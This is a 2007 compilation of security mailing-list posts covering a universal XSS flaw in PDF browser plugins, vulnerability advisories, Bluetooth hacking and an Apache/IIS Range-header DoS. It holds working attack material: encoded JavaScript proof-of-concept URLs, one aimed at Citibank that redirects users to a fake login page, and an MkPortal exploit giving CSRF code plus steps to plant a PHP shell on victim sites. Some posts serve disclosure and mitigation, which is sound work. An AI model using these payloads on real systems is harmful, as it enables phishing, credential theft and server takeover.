You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);

More on the matter can be found here:

http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]





--
HASEGAWA Yosuke
   [EMAIL PROTECTED]

[vuln.sg] PowerArchiver PAISO.DLL Buffer Overflow Vulnerability

[vulnpost-remove]

[vuln.sg] Vulnerability Research Advisory

PowerArchiver PAISO.DLL Buffer Overflow Vulnerability

by Tan Chew Keong
Release Date: 2007-01-04

Summary
---
A vulnerability has been found in PowerArchiver. When exploited, the 
vulnerability allows execution of arbitrary code when the user opens a 
malicious ISO file.

Tested Versions
---
PowerArchiver version 9.64.02 (English) with PAISO.DLL 1.7.3.0 (1.7.3 beta)

Details
---
http://vuln.sg/powarc964-en.html
http://vuln.sg/powarc964-jp.html

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Pieter de Boer]

Michal Zalewski wrote:

  2) Negotiate a high TCP window size for each of the connections (1 GB
 should be doable),
  
Just zooming in on one detail of your e-mail. While you could set your 
own TCP receive window to 1GB, you obviously can't set the sender's send 
window to 1GB if it doesn't want to.


For instance, FreeBSD by default has TCP send buffers set to 32KB. It 
does not (apart from recent work) do dynamic buffer sizing. 32KB is all 
you get. Sysadmins probably raise this value, but, especially with large 
amounts of connections, it can't be set too high or mbufs will run out. 
I'd guess people wouldn't set it to much more than 1MB or such.


Linux does do dynamic buffer sizing but also has some limits set. On a 
recent Ubuntu (desktop), the sysctl net.ipv4.tcp_wmem is set to '4096 
16384 131072'. The last parameter is the maximum amount of buffer space 
reserved for sending, per TCP socket. Again, sysadmins probably raise 
this value in practice.


Concluding, I think your suggested attack might work, but it would need 
a braindead configuration on the sender's end to be really effective. 
It's probably easier just to send some ACKs now and then..


--
Pieter

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[pdp (architect)]

ahhh, fragment identifiers make sense to browsers only. they are not
send to the server

On 1/4/07, der wert <[EMAIL PROTECTED]> wrote:


The best solution I see would be to keep all pdf files in a non-web
accessible location on the web server, then have all the pdf files outputed
through a script such as a php script. In php you can check the what the
REQUEST_URI is, if it isn't equal to what you were expecting which would
mean extra parameters were taken away or added then you could just have the
php script not output the pdf file since that would mean someone had been
tampering with the URI.

D


Get free, personalized online radio with MSN Radio powered by Pandora. Try
it!



--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

LS-20061102 - Business Objects Crystal Reports XI Professional Stack Overflow Vulnerability

[advisories]

LS-20061102

LSsec has discovered a vulnerability in Business Objects Crystal Reports XI 
Professional,
which could be exploited by an attacker in order to execute arbitrary code on 
an affected system. Exploitation requires that the attacker coerce the target 
user into opening a malicious .RPT file.

Technical details:

http://www.lssec.com/advisories.html

LSsecurity - LSsec.com

MkPortal "All Guests are Admin" Exploit

[info]

MkPortal "All Guests are Admin" Exploit

Vulnerability discovered and exploited by: Demential
Web: http://headburn.altervista.org
E-mail: info[at]burnhead[dot]it
Mkportal website: http://www.mkportal.it

Start Macromedia Flash and create an swf file with this code:

var idg:Number = 9;
var p13:Number = 1;
var Salva:String = "Save+Permissions";
getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main";, 
"_self", "POST");

Translate "Save+Permissions" in MKPortal language.
Example: "Salva+questi+permessi" for italian sites.

Then upload the swf file to a webserver and create an html page like this:



Put a title here


Put some text here
http://yoursite.com/exploit.swf"; frameborder="0" height="0" 
width="0">



Now send the html page to MKPortal administrator.
When admin opens the page all guests will be able to administrate MKPortal.

So you can go here: 
http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php
and paste a php shell or a backdoor.
You can find your shell here: http://victim.com/mkportal/cache/ppage_*.php
where * is the ID of the page.

Translate "page" in MKPortal language.
Example: "pagina" for italian sites.

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[RSnake]

No, that is incorrect.  This is not visible by the application because
achor tags are not sent to the webserver.  This is completely invisible
to web application firewalls.  Btw, a user on http://sla.ckers.org/ made
this recommendation for fixing your own browsers:

Firefox->Tools->Options->Content->Manage->change PDF action to "Save to
disk".

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/

On Wed, 3 Jan 2007, Jim Manico wrote:


I'm most worried about the CSRF vector.

XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.

So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.

I'm new at this game, but am I thinking along the right path?

- Jim



Jean-Jacques Halans wrote:

And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the
article.

For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}

Notice the popup (in firefox) which says: "The page at
http://www.citibank.com says:"

JJ

On 1/3/07, pdp (architect) <[EMAIL PROTECTED]> wrote:

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:


http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here


You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);


More on the matter can be found here:

http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org



The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]







--
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
[EMAIL PROTECTED]
808.652.3805



The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

23C3 - Bluetooth hacking revisted [Summary and Code]

[Thierry Zoller]

Dear List,

Kevin Finistere and myself gave a Talk in Berlin 29th on Bluetooth
Hacking, we presented new implementation bugs as well as bugs/problems
deeply buried within the Protocol itself.

This mail to the list should represent a digest for those not able to
attend or able to view the stream.

I would like to express my gratitude to the organisators of 23C3 and
to give me a chance to present (being 2 month to late on deadline)
at the biggest European Hacker convention ever. Thanks.

Lecture :
* The slides - Bluetooth hacking revisited
  
http://events.ccc.de/congress/2006-mediawiki//images/f/fb/23c3_Bluetooh_revisited.pdf
* The Video
  http://video.google.de/videoplay?docid=-3912884713197210784&q=23c3

Code :
 * BTCrack v1.0 - Pin and Link key cracker (Download)
   http://www.nruns.com/security_tools.php
 * HIDattack - Attack Bluetooth VNC style (Download @ Collin Mulliner)
   http://www.mulliner.org/bluetooth/hidattack01.tar.gz
 * The Remote Root Bluetooth Code by Kevin Finistere
   http://www.digitalmunition.com


Key points from the Lecture :

* Pin and Link key recovery is practicaly possible (code release and live 
demo)
* If you use Bluetooth beyboards or mice, your PC has a HID server, these 
may be attached to inject commands (!) as if you were typing on the keyboard
* The random numbers used for encryption and so forth may be very weak for 
your device
* The Pin is not that usefull the Link key is !
  o Things to do once you have the link key:
+ Passively decrypt the traffic
+ Connect to the slaves pretending to be the master and have 
full access (no pin required)
+ Connect to the master pretending to be one of the slaves have 
full access (no pin required)
+ Plant the link key on a BT capable machine and have a remote 
encrypted stealth channel to that machine
* Update your Drivers !
  o Widcomm, Toshiba, Bluesoil, ALL vulnerable
  o Don't rely on Windows update for that, your BT stack may be from a 
third party vendor (very likely)
  o Listening on the Microphone and recording is also possible on PCs 
(not only cars)
* Swap over to Bluetooth 2.1 (as soon as possible) and use "Secure Simply 
Pairing"
* Regard the quality of the encryption Bluetooth offers (E0) as a PRIVACY 
feature NOT a security feature. (Compare it to WEP)
* New re-pairing attack : Connect to the master pretending to be from the 
piconet, use a fake linkkey, master will think (oops lost the pairing) and will 
re-initiate the pairing given an attacker the choice to capture the exchange 
and crack it.
* Don't trust encryption taking place, sometimes the devices negotiate 
Security Mode 2, and you don't know your data is actually transferred in clear 
text (after being authenticated) and you can't actually check as you don't have 
a Bluetooth Sniffer.
* The Bluetooth PIN is actually a Bluetooth Passkey, it supports characters 
not only digits (this has security implications)

General Recommendations :

* Delete your existing pairings as soon as you don't need them
* Pair in "secure places" SIG recommendation
* As soon as your device asks for a PIN again, don't enter it you might be 
snooped on (see previously mentioned pairing attack)
* Don't trust Bluetooth 1.0 - 1.2 (can't tell for 2.0-2.1 yet)
* Companies : Mitigate and Monitor.

Companies using Bluetooth for Industrial purposes :

* Regenerate a new key every 5 minutes, use 16 chars.

Vendors :

* PLEASE implement the GUI to use the possibility for bluetooth to use 
characters (UTF8) NOT ONLY DIGITS.
* Please be more transparent towards your device driver version numbers and 
propose an easy way to update.


Credits :
Thierry Zoller  - http://www.nruns.com - http://secdev.zoller.lu
Kevin Finistere - http://www.digitalmunition.com



-- 
http://secdev.zoller.lu
Thierry Zoller
Fingerprint : 4813 c403 58f1 1200 7189 a000 7cf1 1200 9f89 a000

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[Jim Manico]

I'm most worried about the CSRF vector.

XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.

So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.

I'm new at this game, but am I thinking along the right path?

- Jim



Jean-Jacques Halans wrote:
> And it makes a great phishing hole too.
> Google for any banking pdf's
> and attach your fake banking site to let the user login to read the
> article.
>
> For example:
> Send out an email pretending to come from Citibank, about a new
> article on Wealth Management, with a link to the real article:
> http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
>
> Notice the popup (in firefox) which says: "The page at
> http://www.citibank.com says:"
>
> JJ
>
> On 1/3/07, pdp (architect) <[EMAIL PROTECTED]> wrote:
>> I will be very quick and just point to links where you can read about
>> this issue.
>>
>> It seams that PDF documents can execute JavaScript code for no
>> apparent reason by using the following template:
>>
>>
>> http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
>>
>>
>> You must understand that the attacker doesn't need to have write
>> access to the specified PDF document. In order to get an XSS vector
>> working you need to have a PDF file hosted on the target and that's
>> all about it. The rest is just a matter of your abilities and desires.
>>
>> This finding was originally mentioned by Sven Vetsch, on his blog.
>> This is a very good and quite interesting. Good work.
>>
>> There is a POC I composed:
>>
>> http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
>>
>>
>> More on the matter can be found here:
>>
>> http://www.gnucitizen.org/blog/danger-danger-danger/
>> http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
>>
>> -- 
>> pdp (architect) | petko d. petkov
>> http://www.gnucitizen.org
>>
>> 
>>
>> The Web Security Mailing List:
>> http://www.webappsec.org/lists/websecurity/
>>
>> The Web Security Mailing List Archives:
>> http://www.webappsec.org/lists/websecurity/archive/
>> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>>
>>
>
>

-- 
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
[EMAIL PROTECTED]
808.652.3805

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[bugtraq]

A slashdot user suggested the following


"One possible work around on the server side:
Direct your web server to serve .pdf files as mime type "application/octet"
That way the files will be saved to disk instead of opening in the browser plug 
in."


URL:
http://it.slashdot.org/comments.pl?sid=214868&threshold=1&commentsort=0&mode=thread&cid=17450834

This may cause undesired effects on certain browsers on the otherhand. 


- Robert
http://www.cgisecurity.com/ Website Security news, and more
http://www.cgisecurity.com/index.rss [RSS Security Feed]

Re: SMS handling OpenSER remote code executing

[bogdan]

Thanks for report. I just applied an fix for both the latest stable version 
(1.1.0) and the development version (1.2.0).

Not sure if code injection is possible as the maximum overflow is of 5 bytes, 
guess not long enough to encode an instruction.

Regards,
Bogdan

Re: OpenSER OSP Module remote code execution

[bogdan]

Thanks for the report.

The maintainer of the OSP module, Di-Shi Sun already applied a patch to fix 
this issue.

The fix fix has been committed to 1.1.x (latest stable) and MAIN HEAD 
(development) on 1/2/07.

Regards,
Bogdan

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Michal Zalewski]

On Thu, 4 Jan 2007, William A. Rowe, Jr. wrote:

> On the matter of your 1GB window (which is, again, the real issue), you have
> any examples of a kernel that permits that large a sliding window buffer by
> default

No, I simply mentioned the hypothetical maximum; common configurations for
high-performance applications call for configs from several megs upward,
and this is increasing with the bandwidth available to consumers.

William, again, this is not a critical issue; I did mention that, and if
it were, I wouldn't report it that way. There were two distinct problems
mentioned, and I probably shouldn't mix them the way I did:

  1) A single HTTP request can be used to return 5000x the largest file on
 a server regardless of web admin's intent. This is not a common
 knowledge, and yes, it is worth reporting, because it can be used to
 make a DoS or zombie-based DDoS attacks more painful than usual,
 by considerably improving the ratio of bandwidth required to initiate
 an attack to the traffic generated at victim's expense (compared to
 known attacks using simultaneous HTTP connections, keep-alives, etc).

  2) Theoretical window size limits and commonly implemented settings do
 have a side effect of making such attacks more feasible for
 attackers with a very limited bandwidth available. There's probably
 not that much difference between a 10 MB and a 1 GB window size,
 anyway: the attacker can establish a dial-up connection to ISP A,
 initiate a series of 5000x requests with 10 MB window size, then
 reconnect to ISP B, and continue to slowly and calmly spoof ACKs
 as coming from his previous IP to the attacked server (he knows
 all the sequence numbers). It would take 40 bytes to generate next
 10 MB of traffic within an established connection, so it still
 sounds like fun for a guy who has a 4 kB/s link. And that's why I
 asked whether there was any research done on such issues.

/mz

Re: a cheesy Apache / IIS DoS vuln (+a question)

[William A. Rowe, Jr.]

Michal Zalewski wrote:
> On Wed, 3 Jan 2007, William A. Rowe, Jr. wrote:
> 
>> If you have an issue with this behavior, of HTTP, then you have an issue
>> with the behavior under FTP or a host of other protocols.
> 
> Not really; see above. These are typically well known, preventable by
> configuring server-side limits, and require a much higher overhead.

On the matter of your 1GB window (which is, again, the real issue), you have
any examples of a kernel that permits that large a sliding window buffer by
default, or any examples where this is commonly set quite that high?  If
not, what is your logic for negotiating a packet window larger than the OS
will permit?

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Michal Zalewski]

On Wed, 3 Jan 2007, William A. Rowe, Jr. wrote:

> Seriously, HTTP pipelining can accomplish EXACTLY the same thing with minimal
> pain.

No, it can't. Client-side pipelining using simultaneous sessions with
keep-alives is usually severely restricted on server-side (exactly for the
reason they can be abused to DoS the server), and the overhead is much
higher (you need to send hundreds of bytes to request a copy of a static
page).

Here, requesting an extra copy costs you 3 bytes, and that is in my
opinion notable - because you can do it thousands of times in a single
short request.

> If you have an issue with this behavior, of HTTP, then you have an issue
> with the behavior under FTP or a host of other protocols.

Not really; see above. These are typically well known, preventable by
configuring server-side limits, and require a much higher overhead.

/mz

Re: [Full-disclosure] Universal XSS with PDF files: highly dangerous

[Juha-Matti Laurio]

Possibly no, but I was just sending this reference to the lists:
http://www.kb.cert.org/vuls/id/815960

"According to public reports, this vulnerability is addressed in Adobe Acrobat 
Reader 8.0."

Solution:
http://www.adobe.com/products/acrobat/readstep2.html

But it is worth of mentioning that there are no all localized Reader 8 versions 
available yet.
If the organization (and a home user!) uses localized Reader product you have 
to disable 'Display PDF in browser' setting as a workaround.

- Juha-Matti


Thierry Zoller <[EMAIL PROTECTED]> wrote: 

Dear List,

Did anybody mention this does not work in Adobe Acrobat Reader 8 ?

--
http://secdev.zoller.lu
Thierry Zoller
Fingerprint : 5D84 BFDC CD36 A951 2C45  2E57 28B3 75DD 0AC6 F1C7

CFP for RAID 2007

[Jeffrey Horton]

CALL FOR PAPERS
   RAID 2007

10th International Symposium on 
 Recent Advances in Intrusion Detection 2007

September 5-7, 2007

   Crowne Plaza Hotel, Gold Coast, Queensland, Australia 

  Hosted by: 
Information Security Institute, 
  Queensland University of Technology
  Brisbane, Australia

   http://www.isi.qut.edu.au/go/raid07




Topics:
---

This symposium, the 10th in an annual series, brings together leading
researchers and practitioners from academia, government, and industry
to discuss issues and technologies related to intrusion detection and
defense. The Recent Advances in Intrusion Detection (RAID)
International Symposium series is intended to further advances in
intrusion defense by promoting the exchange of ideas in a broad range
of topics. As in previous years, all topics related to intrusion
detection, prevention and defense systems and technologies are within
scope, including but not limited to the following:

* Intrusion detection and prevention techniques
* High-performance intrusion detection
* Intrusion detection in special environments (e.g., mobile networks)
* IDS cooperation and event correlation
* Formal models and analysis
* Attack response, countermeasures, and intrusion tolerance
* Survivability and self-protection
* Attacks against IDS and evasion
* Insider threat detection and mitigation
* Deception systems and honeypots
* Malicious code detection and containment
* Visualization techniques
* Intrusion detection assessment and benchmarking
* IDS interoperability standards and standardization
* Vulnerability analysis and risk assessment
* Legal and social issues


Important dates:


Deadline for paper submission:   March 31st, 2007 
Deadline for panel submission:   May 5th, 2007
Notification of acceptance or rejection: June 1st, 2007 
Final paper camera ready copy:   June 16th, 2007  
Deadline for poster abstract submission: July 7th, 2007  
Notification for poster acceptance:  July 23rd, 2007   


Submissions:


RAID 2007 invites four types of submissions:

1. Full papers presenting mature research results: Papers accepted for
   presentation will be included in the RAID 2006 proceedings
   published by Springer Verlag in its Lecture Notes in Computer
   Science (http://www.springer.de/comp/lncs/index.html)
   series. Papers are limited to 20 pages when formatted according to
   the instructions provided by Springer Verlag
   (http://www.springer.de/comp/lncs/authors.html), and must include
   an abstract and a list of keywords.

2. Short papers presenting original work that has not yet reached the
   maturity required for a full paper. These are limited to 10 pages
   using the same format required for full papers. Short papers can
   describe new research results or practical experience that
   demonstrates the limitations and capabilities of existing
   approaches to intrusion detection and network security. They will
   be reviewed by the program committee, and accepted papers will be
   included in the proceedings (in short form - not expanded to full
   papers - and with "Short paper" in the title) and presented orally
   during the symposium (in shorter speaking slots).

3. Posters describing work in progress: submissions must consist of a
   one-page abstract.

4. Panel proposals for presenting and discussing hot topics in the
   field of intrusion detection systems: The panel proposals should
   include both an outline of the format of the panel and a short
   rationale for the panel. Panels that include time for general
   discussion and questions-answers between the panelists and the
   audience are preferred.

All submissions (papers, panel, and poster proposals) must be
submitted electronically, details will be provided at a later
date. Papers should list all authors and their affiliations; in case
of multiple authors, the contact author must be indicated (RAID does
not require anonymized submissions). For accepted papers, it is
required that at least one of the authors attends the conference to
present the paper. Further questions on the submission process may be
sent to the program chair.  Submissions must not substantially
duplicate work that any of the authors has published elsewhere or has
submitted in parallel to a journal or to any other conference or
workshop with proceedings. Simultaneous submission of the same work to
multiple venues, submission of previously published work, and
plagiarism constitute dishonesty or fraud. RAID, like other scientific
and technical conferences and journals, prohibits these practices and
may, on the recommendation of the program chair, take ac

Re: a cheesy Apache / IIS DoS vuln (+a question)

[William A. Rowe, Jr.]

Michal Zalewski wrote:
> I feel silly for reporting this, but I couldn't help but notice that
> Apache and IIS both have a bizarro implementation of HTTP/1.1 "Range"
> header functionality (as defined by RFC 2616). Their implementations allow
> the same fragment of a file to be requested an arbitrary number of times,
> and each redundant part to be received separately in a separate
> multipart/byteranges envelope.

Batten down the hatches!

>   (An example would be an "old-fashioned" attack on a server that happens
>   to host multi-gigabyte ISO files or movies - simply request them
>   many times and let window scaling do the rest... of course, most
>   high-profile sites are smart enough to host static HTML and basic layout
>   elements separately from such bandwidth-intensive and non-essential
>   content, so it still makes sense to take note of "Range" behavior).

Seriously, HTTP pipelining can accomplish EXACTLY the same thing with minimal
pain.  If you have an issue with this behavior, of HTTP, then you have an
issue with the behavior under FTP or a host of other protocols.  And as you
say, simple enough to find some 1.5mb pdf's.  But you expect 1gb window sizes
to actually succeed?

In 95% of the cases that follow your comment above, although the load may
be often be distributed between boxes based on computational intensity, it
is nearly always shoved down the same pipe in the end.

> Combined with the functionality of window scaling (as per RFC 1323)

is exactly where your concern should lay - socket kernel-level control of
unrealistic window scaling, and similar scaling restrictions at the router
layer.

With the host of real issues out there in terms of massively parallel DDoS
infrastructures that abound, this is, as you say, quite a silly report.